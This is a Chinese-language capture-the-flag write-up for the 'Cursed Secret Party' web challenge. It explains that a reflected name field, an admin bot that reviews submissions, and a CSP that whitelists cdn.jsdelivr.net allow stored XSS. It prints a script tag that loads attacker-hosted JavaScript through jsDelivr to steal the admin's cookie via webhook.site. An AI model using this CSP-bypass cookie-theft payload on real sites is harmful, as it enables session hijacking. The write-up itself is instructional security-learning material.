Cursed Secret Party
查看源代码。
/challenge/index.js
/challenge/bot.js
/challenge/views/admin.html
大概率切入点在halloween_name
上,因为代码表示会自动获取收到的请求,先看到这么多,去网站看看。低下有一句话“我们的请求会被目标团队检查”。
也就是说会网站管理员来查看我们发过去的信息,言外之意就是需要我们构造一个xss。
前面已经知道我们输入的Halloween name会被原封不动接收,于是<script src=xxx></script>
中我们只需要构造xxx即可。
简单介绍一下CSP头吧。
csp(content-security-policy)可以看作一个web规范,主要用于防御XSS攻击,CSP的本质可以看作一个白名单,它只允许加载使用来自白名单上的源。
比如本题的部分CSP白名单:
- script-src ‘self’ https://cdn.jsdelivr.net ; 允许加载来自https://cdn.jsdelivr.net的脚本。
- style-src ‘self’ https://fonts.googleapis.com; 允许加载来自https://fonts.googleapis.com的样式表。
去看看https://cdn.jsdelivr.net网站吧。
是一个免费开源的CDN,可以配合GitHub实现XSS。先创建一个测试文件test.js。
这意味着我们的test.js的内容已经被下载到CDN上了。如果要更新test.js内容的话,CDN至少短时间内不会更新至最新的test.js,所以创建一个新的文件。
想使用burp suite来配合但是失败了,所以用webhook.site。
先看看让webhook以什么样的方式返回cookie。
万事俱备开始获取cookie。
<script src=https://cdn.jsdelivr.net/gh/Cat-Asterism/miku/final.js></script>
jwt.io分析获取的cookie就行了。
PS:
在寻找其他大佬的wp发现我忽略了对CSP的检查。
来自0xdf大佬的视频。
{%%} - django